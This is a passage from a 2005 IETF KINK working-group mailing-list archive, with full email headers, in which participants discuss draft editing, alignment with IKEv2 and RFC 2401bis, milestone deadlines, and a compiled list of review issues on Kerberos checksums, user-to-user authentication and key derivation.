we find someone else. I leave > that choice up to you for now. > > > Has a decision been made on wg meeting in MPLS? > > I'm hoping that the issues don't require a f2f > > meeting, but it would be good to know one way or > > the other. > > I'm willing to go either way. If the WG believes we need a face to > face meeting then I'll gladly arrange for one. > > > Mike > > -derek > > -- > Derek Atkins 617-623-3745 > derek@ihtfp.com www.ihtfp.com > Computer and Internet Security Consultant > From owner-ietf-kink Thu Jan 20 03:04:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KB4pDY084769; Thu, 20 Jan 2005 03:04:51 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KB4pjp084767; Thu, 20 Jan 2005 03:04:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KB4g71084573 for ; Thu, 20 Jan 2005 03:04:42 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 51C301FBC2; Thu, 20 Jan 2005 20:04:41 +0900 (JST) Date: Thu, 20 Jan 2005 20:04:41 +0900 (JST) Message-Id: <20050120.200441.92259087.nov@tahi.org> To: vilhuber@cisco.com Cc: derek@ihtfp.com, mat@cisco.com, sakane@kame.net, ietf-kink@vpnc.org Subject: Re: who will edit the draft ? From: Nobuo OKABE In-Reply-To: References: <1106185907.2953.37.camel@thomasm-lnx.cisco.com> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Jan Vilhuber Subject: Re: who will edit the draft ? Date: Wed, 19 Jan 2005 20:23:34 -0800 (PST) > > At the face of it we need to update the document to meet the new > > format requirements, update to krb-clarifications and krb-crypto, and > > probably update to reference IKEv2 and 2401bis. I dont know what > > other changes are going to be required. > > I think I missed something: Why do we need to update to reference ikev2? The > ikev1 phase 2 exchange works just fine. Sam should be the right person to answer the question. However, I guess his mind ....... the point might be not the functionality of KINK but consistency among standards issued by IETF. I also guess that this issue might not be raised if KINK draft fixed earlier because IKEv2 and 2401bis were far from mature. ----- nobuo From owner-ietf-kink Thu Jan 20 08:13:03 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGD31U072674; Thu, 20 Jan 2005 08:13:03 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KGD3mu072673; Thu, 20 Jan 2005 08:13:03 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGD00E072605 for ; Thu, 20 Jan 2005 08:13:00 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-2.cisco.com with ESMTP; 20 Jan 2005 08:17:40 -0800 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j0KGCdM8001986; Thu, 20 Jan 2005 08:12:39 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j0KG9JnT000601; Thu, 20 Jan 2005 08:09:19 -0800 Subject: Re: who will edit the draft ? From: Michael Thomas To: Jan Vilhuber Cc: Derek Atkins , Shoichi Sakane , ietf-kink@vpnc.org In-Reply-To: References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-zetGwP+oQK2A8cUZjKXh" Organization: Cisco Systems Message-Id: <1106237569.2953.40.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 20 Jan 2005 08:12:49 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1106237359.544438"; x:"432200"; a:"rsa-sha1"; b:"nofws:888"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"n8AoJOkWzxApA4Z/NsJdjDcv2JM5WtaDdyNWEI+zScWdCeJu+Nr9U5ExT2QuC54fmPZRGJXe" "jJDfTgoMqJmcWTVlKP+DJxQeZ71Nm3YHpY+2CowLT1rI+rpazXXsvc0rR+5FjEpp1AtHJYqugat" "AMSZaBl4HvmN1vUheymbhv8g="; c:"Subject: Re: who will edit the draft ?"; c:"From: Michael Thomas "; c:"Date: Thu, 20 Jan 2005 08:12:49 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-zetGwP+oQK2A8cUZjKXh Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-01-19 at 20:23, Jan Vilhuber wrote: > I think I missed something: Why do we need to update to reference ikev2? = The > ikev1 phase 2 exchange works just fine. A reasonable question. Were there any changes to quick mode/phase 2/sa establishment payloads in ikev2? I didn't pay much attention to that part of the effort, but I vaguely remember that they formalized some of the selector stuff, maybe involving port ranges or something?? Mike --=-zetGwP+oQK2A8cUZjKXh Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQe/YgbMsDAj/Eq++AQLZOgQAidbikXVTsV3l4tpazBdtBGy3U7rsLaMb GrBMjVGGuMcsxk51QbSuO/ugwDpmAF8B9zxIgUYRXWkgrhpHv9Ob/Qmj5cz3R/pB IByAsN3zUi+bQUxyvJEDi3sZaJzos+i16SbEoETZbMwEHXD89vb6Srv9rfjSNVVg gcmbi5so46w= =nHlQ -----END PGP SIGNATURE----- --=-zetGwP+oQK2A8cUZjKXh-- From owner-ietf-kink Thu Jan 20 08:19:41 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGJfI5077851; Thu, 20 Jan 2005 08:19:41 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KGJf0M077850; Thu, 20 Jan 2005 08:19:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGJeE2077843 for ; Thu, 20 Jan 2005 08:19:40 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id E1D0AE0063; Thu, 20 Jan 2005 11:19:26 -0500 (EST) To: Ken Raeburn Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <500B80B3-6A99-11D9-9F67-000A95909EE2@mit.edu> From: Sam Hartman Date: Thu, 20 Jan 2005 11:19:26 -0500 In-Reply-To: <500B80B3-6A99-11D9-9F67-000A95909EE2@mit.edu> (Ken Raeburn's message of "Wed, 19 Jan 2005 23:11:08 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Ken" == Ken Raeburn writes: Ken> On Jan 18, 2005, at 17:31, Sam Hartman wrote: >> Kerberos is now using the term user-user rather than >> user-to-user. Ken> You've got this backwards, Sam. Both RFC 1510 and Ken> draft-ietf-krb-wg-kerberos-clarifications use "user-to-user". Yeah. KINK uses user-user; Kerberos uses user-to-user. My comment was confused. From owner-ietf-kink Thu Jan 20 08:22:04 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGM4to079066; Thu, 20 Jan 2005 08:22:04 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KGM4Kg079065; Thu, 20 Jan 2005 08:22:04 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGM44X079056 for ; Thu, 20 Jan 2005 08:22:04 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id DE1D4E0063; Thu, 20 Jan 2005 11:22:04 -0500 (EST) To: Nobuo OKABE Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <20050120.102207.68299999.nov@tahi.org> From: Sam Hartman Date: Thu, 20 Jan 2005 11:22:04 -0500 In-Reply-To: <20050120.102207.68299999.nov@tahi.org> (Nobuo OKABE's message of "Thu, 20 Jan 2005 10:22:07 +0900 (JST)") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Nobuo" == Nobuo OKABE writes: Nobuo> It seems fair to me to postpone the date of fixing the Nobuo> milestones from February 7 to after IETF62. Because the Nobuo> progress of 1401bis has impact against the KINK draft. I'm uncomfortable with doing this. I think that we can set deadlines now. If we find interesting new facts we can change the deadlines. I'll listen to concerns from the chairs if they believe they will not be able to get milestones ready by February 7 and evaluate those concerns. --Sam From owner-ietf-kink Thu Jan 20 08:33:21 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGXLFb086800; Thu, 20 Jan 2005 08:33:21 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KGXLX4086799; Thu, 20 Jan 2005 08:33:21 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGXGgU086635 for ; Thu, 20 Jan 2005 08:33:16 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-3.cisco.com with ESMTP; 20 Jan 2005 09:40:59 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j0KGX8Nt004158; Thu, 20 Jan 2005 08:33:09 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j0KGTb53000835; Thu, 20 Jan 2005 08:29:37 -0800 Subject: Re: KINK should referenece to IKEv2? From: Michael Thomas To: Shoichi Sakane Cc: ietf-kink@vpnc.org In-Reply-To: <20050120122017V.sakane@kame.net> References: <41EF17D7.4060108@miyazawa.org> <20050120122017V.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-6lKuB9BZnxBJimVYNr/S" Organization: Cisco Systems Message-Id: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 20 Jan 2005 08:33:07 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1106238577.769859"; x:"432200"; a:"rsa-sha1"; b:"nofws:1756"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"X0F22zBTO7qL6J9QEwleslP41N5EDXfcMYyJrcdjij6tzuG0oL9Xp/ObK/bvISoMZOF+qjkz" "BH2O6p+tK9VawhrVIUuJ/JiK3O+wILDjNYiZa3GCccjQI9zJtUdbhfBAqlYbnjf+cdb9aeb5pj8" "pYJOgbnwyAVupnK3EU++ZZQM="; c:"Subject: Re: KINK should referenece to IKEv2?"; c:"From: Michael Thomas "; c:"Date: Thu, 20 Jan 2005 08:33:07 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-6lKuB9BZnxBJimVYNr/S Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-01-19 at 19:20, Shoichi Sakane wrote: > > > In my opinion from reading the minutes at the IETF50 minneapolis, > > > there is no strict reason to change the referenece from IKEv1 to IKEv= 2 > > > because the ISAKMP payload in the KINK is just used to carry a set of > > > IPsec parameters, and Notification Payloads. >=20 > > We should have a consensus whether we will discuss KINK based on rfc240= 1bis > > or rfc2401. >=20 > Well I put on a KINK hat, if the KINK specification will conform to > rfc2401bis and if the KINK won't work on the stack based on *RFC2401*, > we won't be happy because it will take long time to deploy the stack > based on rfc2401bis. so we need to implement a stack based on rfc2401bis > first before we will run a KINK function. >=20 > so we can have four choices while researching the difference between > 2401bis and RFC2401 from KINK requirement of view: >=20 > 1. make a standard base on both rfc2401 and IKEv1. > 2. make a standard base on both rfc2401 and IKEv2. > 3. make a standard base on both 2401bis and IKEv1. > 4. make a standard base on both 2401bis and IKEv2. >=20 > I would like #1 then we proceed to #4. Somebody will need to help me (us) here: can IKEv1 successfully establish 2401bis SA's? Can IKEv2 successfully establish 2401 SA's? I'm _guessing_ that the answer to both is "yes", but the big question is whether there's anything in IKEv2 what is exchanged across the wire to inform the other side whether it's 2401 or 2401bis. If so, we may need a similar mechanism. Mike=20 --=-6lKuB9BZnxBJimVYNr/S Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQe/dQ7MsDAj/Eq++AQJTNgP7BmifzxPdu4DYq/UQhaWSf6tV4jb8ier6 OVAWJ1/y1CZgBRuf+toHKZczuG32XTHQu89zKNgNm0slQtYDp1TTlqvnPe2fcBf3 BJ9+q0GtdcUQ5fQlqZtxW0WeU3zofP+FrO+2ZxnCsL+cyXYLcSCbS2Biuump/wVg /FtzaNlyDp8= =FgzP -----END PGP SIGNATURE----- --=-6lKuB9BZnxBJimVYNr/S-- From owner-ietf-kink Thu Jan 20 08:57:41 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGvfhR006325; Thu, 20 Jan 2005 08:57:41 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KGvfFZ006324; Thu, 20 Jan 2005 08:57:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KGvfIX006269 for ; Thu, 20 Jan 2005 08:57:41 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 20 Jan 2005 10:05:23 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j0KGvTl2001816; Thu, 20 Jan 2005 08:57:30 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j0KGs2Uk001121; Thu, 20 Jan 2005 08:54:02 -0800 Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] From: Michael Thomas To: Sam Hartman Cc: ietf-kink@vpnc.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-Af8YAjAHftCfFBwI9GJi" Organization: Cisco Systems Message-Id: <1106240252.2951.65.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 20 Jan 2005 08:57:32 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1106240042.645389"; x:"432200"; a:"rsa-sha1"; b:"nofws:1727"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"YYlsiCOhG+DQtH1Z4DITsSvW61iMnF/frA0C4YisW6DuMIF2/CARwE97dYrryqkWZHAEz7/4" "Z/Lb2Ho8n8FLxt4L+REyCHoEY3uNxpkE0BJnxHvYcPrMhx4vSUNZ5y1aAjutLJp+yxIMo7IIXEQ" "qNp/SxPDilvsBZnjuV2EXwrg="; c:"Subject: Re: AD review: draft-ietf-kink-kink [section 1-4]"; c:"From: Michael Thomas "; c:"Date: Thu, 20 Jan 2005 08:57:32 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-Af8YAjAHftCfFBwI9GJi Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2005-01-18 at 14:31, Sam Hartman wrote: > Section 4.4 >=20 > IPsec does not allow half-open security associations any more as far > as I can tell in 2401bis. So it's not just for simplicity, but for > model conformance. Where is this "model conformance"? This is a kernel=20 level suggestion at best, and if 2401bis forbids this, nothing actually changes with the KINK protocol except for the fact that it loses data which isn't KINK's fault, but 2401bis' notion of "conformance". In any case, I=20 don't see why we should change this especially since 2401 isn't broken in this way. > Section 4.4.1: >=20 > Please make sure this discussion is aligned with 2401bis. I think it > may change small details but they seem to have adopted much of the > same strategy kink uses. The area wher I believe they speak to this > issue is when you should rekey (timers etc) This is a classic case of KINK being the _actual_ start of IKEv2 and 2401bis. The main question I have is whether there is something _wrong_ here. I really don't think it's fair to just be sending us off on work assignments if there's no reason to believe that what the draft states is incorrect. > Section 4.4.2 >=20 > [**] Discuss status message, rebooting peers and u2u. This looks a > lot like the IKE case where you lose all cryptographic context to me. I don't understand what you want here. Are you saying that this doesn't work in the u-u case? I don't understand what u-u has to do with anything here. Mike --=-Af8YAjAHftCfFBwI9GJi Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQe/i/LMsDAj/Eq++AQINcwQAr9mPC+txhiTEVYNjefikRtUKc9hbWQZA FlrdMRN+LBHzjhZgCGQ38/zExWOhO/86DZrgajuZAxQEotcioKkONJq8C3bNAPXd qYRRaBQMBeglo1pbHUyldMOFOwC12O5rSIQ6AOxjJ3cbFWnjW9CWKtcW8Jv7glQn lUNFYDbKNm8= =3/Pw -----END PGP SIGNATURE----- --=-Af8YAjAHftCfFBwI9GJi-- From owner-ietf-kink Thu Jan 20 10:11:16 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KIBGlq044505; Thu, 20 Jan 2005 10:11:16 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KIBGMo044504; Thu, 20 Jan 2005 10:11:16 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KIBFaW044450 for ; Thu, 20 Jan 2005 10:11:15 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-3.cisco.com with ESMTP; 20 Jan 2005 11:18:56 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j0KIB6Nt027464; Thu, 20 Jan 2005 10:11:06 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j0KI7ZQH001934; Thu, 20 Jan 2005 10:07:35 -0800 Subject: Re: KINK issue list From: Michael Thomas To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org In-Reply-To: <20050120110448RR%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-oL4zK1LYeSOvSM3ym4mC" Organization: Cisco Systems Message-Id: <1106244665.2953.78.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 20 Jan 2005 10:11:05 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1106244455.146060"; x:"432200"; a:"rsa-sha1"; b:"nofws:10365"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"Ulh0D+7AIztbbWnAM8SC1NobTjDIypKzI7HjOhn6yHMerdvO6fhBeK6+pBmP8HihN0tz5dHK" "qUaxcTvwfmJO4PMDk3XIYiNO+cZWScYjkDNIAH0pDdl7hlCHDH2t9Cn82yHrKq/YJYqsc3jx2NJ" "+ENpaq75srhOOvSTb4mylHeY="; c:"Subject: Re: KINK issue list"; c:"From: Michael Thomas "; c:"Date: Thu, 20 Jan 2005 10:11:05 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-oL4zK1LYeSOvSM3ym4mC Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Thank you very much for compiling this list -- I have been having a hard time following what are similar or the same issues, and what the closure is if any. Maybe what we can do is keep a master list here, the proposed=20 resolution, or whether to close the issue due to it being not a problem. From that, I can work on producing a new draft. Mike=20 On Wed, 2005-01-19 at 18:04, KAMADA Ken'ichi wrote: > Here is a merged version of KINK issues expressed till now. > If I missed some of them you noted, please let me know. >=20 >=20 > [**] Indicates an issue considered substantive. > [-] Indicates an editorial issue. >=20 >=20 > [**] user-to-user (section 3 and 4.2) >=20 > It seems like the > server tells the client what principal to authenticate to, but this > principal is not properly authorized. (Sam Hartman) >=20 > More examination of user-to-user case, especially situations where=20 > it might *not* be two PKINIT clients, which section 3 says is possible.=20 > (BTW, in the Kerberos docs, it's "user-to-user", not "user-user".) > (Ken Raeburn) >=20 > Verifying remotely supplied identity, as Sam raised earlier. > (Ken Raeburn) >=20 > In the user-to-user case with TGTs, I think the KINK draft may be=20 > over-specifying things that should be dealt with at the Kerberos level.=20 > If things are underspecified in Kerberos Clarifications, let's deal=20 > with that. (Ken Raeburn) >=20 > Section 4.2: > [**] How will the initiator determine whether it will be able to get a > TGT? I think policy considerations of when to use u2u and > authorization considerations of what u2u principals are authorized are > underspecified in the draft. > (Sam Hartman) >=20 > [**] Make sure the descriptions of u2u work correctly in the > cross-realm case. > (Sam Hartman) >=20 >=20 > [**] CREATE Security Association from the aspect of 2401bis (section 4.3) >=20 > [**] I need explicit review from the IPsec reviewer of this section to > make sure it is compatible with 2401bis. IN addition, any differences > between how this works and how IKE would set up the same SA need to be > called out. It is fine for there to be differences, but I want to > make sure the working group explicitly decided the differences are a > good thing. >=20 > I'm somewhat concerned that 4.3 is not specific enough to describe > exactly what key gets set up. I.E. I'm concerned it may not be > detailed enough for interoperable implementations. > (Sam Hartman) >=20 >=20 > [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3= ) >=20 > Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the=20 > nonce should be used. If the circumstances they're describing are=20 > different, that's okay, but if so, I missed it on first reading. > (Ken Raeburn) >=20 >=20 > [*] Half open (section 4.4) >=20 > IPsec does not allow half-open security associations any more as far > as I can tell in 2401bis. So it's not just for simplicity, but for > model conformance. (Sam Hartman) >=20 >=20 > [**] Section 4.4.2 >=20 > [**] Discuss status message, rebooting peers and u2u. This looks a > lot like the IKE case where you lose all cryptographic context to me. >=20 >=20 > [*] CksumLen (section 5) >=20 > Diagram indicates one octet for cksumlen, but the text (and=20 > kcrypto specifications) say it should be two. >=20 >=20 > [**] etype does not directly indicate checksum type (section 5) >=20 > a key's encryption type does not directly indicate=20 > a checksum type, it indicates an encryption(-with-integrity-protection)=20 > scheme, which does include a required-to-implement checksum type > (Ken Raeburn) >=20 >=20 > [**] Kerberos allows variable length checksum (section 5) >=20 > I'd have to go back and check, but I don't think we require that=20 > a given checksum type have a fixed output size, so "leave X amount of=20 > space and fill it with zero for computing the checksum" is questionable=20 > too. (Ken Raeburn) >=20 >=20 > [*] Kerberos checksum is not deterministic (section 5) >=20 > The Kink description of how to verify a checksum assumes that > Kerberos checksums are deterministic; this is not strictly required. > (Sam Hartman) >=20 > let kcrypto specify how=20 > to verify a checksum, as they're not required to be deterministic, so=20 > the "compute it again and compare" approach specified in section 5 is=20 > wrong (Ken Raeburn) >=20 > The spec should describe how to verify checksum as follows. >=20 > To verify the checksum, the checksum is saved, and the > checksum field is zeroed out. The resulting message and the saved > checksum are passed to the verification function. If the verification > fails, the message MUST be dropped. >=20 >=20 > [*] Subsession keys (section 5 and 8) >=20 > Are subsession keys ignored? (Ken Raeburn) >=20 >=20 > [**] Checksum when KRB-ERROR occured (section 5.1.4 and 7.1) >=20 > Section 7.1 says the checksum in the KRB-ERROR message is not used, > but section 5.1.4 says that KINK implementation MUST make use of > keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at > least with RFC 1510 or kerberos-clarifications). > I think a correct phrase here is "KINK implementations MUST make use of > a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate > service key is available." >=20 >=20 > [**] KINK_ENCRYPT format (section 5.1.8) >=20 > The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is > vague. I think of using the output of raw encryption algorithms > (i.e. E(confounder | plaintext | pad)) or using EncryptedData. >=20 > treat "encryption with=20 > integrity protection" output as a whole, don't peek under the covers to=20 > find a "checksum" part you can throw away (Ken Raeburn) >=20 > drop references to the initialization vector (Ken Raeburn) >=20 >=20 > [*] Kerberos PFS (section 6.8) >=20 > Sec 6.8: "Kerberos in general does not provide FPS so it is somewhat=20 > questionable whether a system which is heavily relying on Kerberos=20 > benefits from PFS." First, that sounds like it might be Security=20 > Considerations material. Second, I don't follow; explain please? > (Ken Raeburn) >=20 >=20 > [*] MUST/SHOULD in clock skew (section 7.1) >=20 > The time difference MUST be computed and SHOULD be stored=20 > and used? Why the different requirement levels? (And is this sort of=20 > thing in the domain of KINK or Kerberos?) (Ken Raeburn) >=20 >=20 > [**] prf (section 8) >=20 > Section 8 says "prf is the same hash algorithm found in the session > ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. > Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK > should use this PRF. >=20 > Use a prf=20 > from kcrypto, don't assume the checksum operations are deterministic=20 > hash functions (Ken Raeburn) >=20 >=20 >=20 > [*] Key derivation (section 8) >=20 > The key derivation seems inconsistent with the crypto framework > document. (Sam Hartman) >=20 >=20 > [*] Key 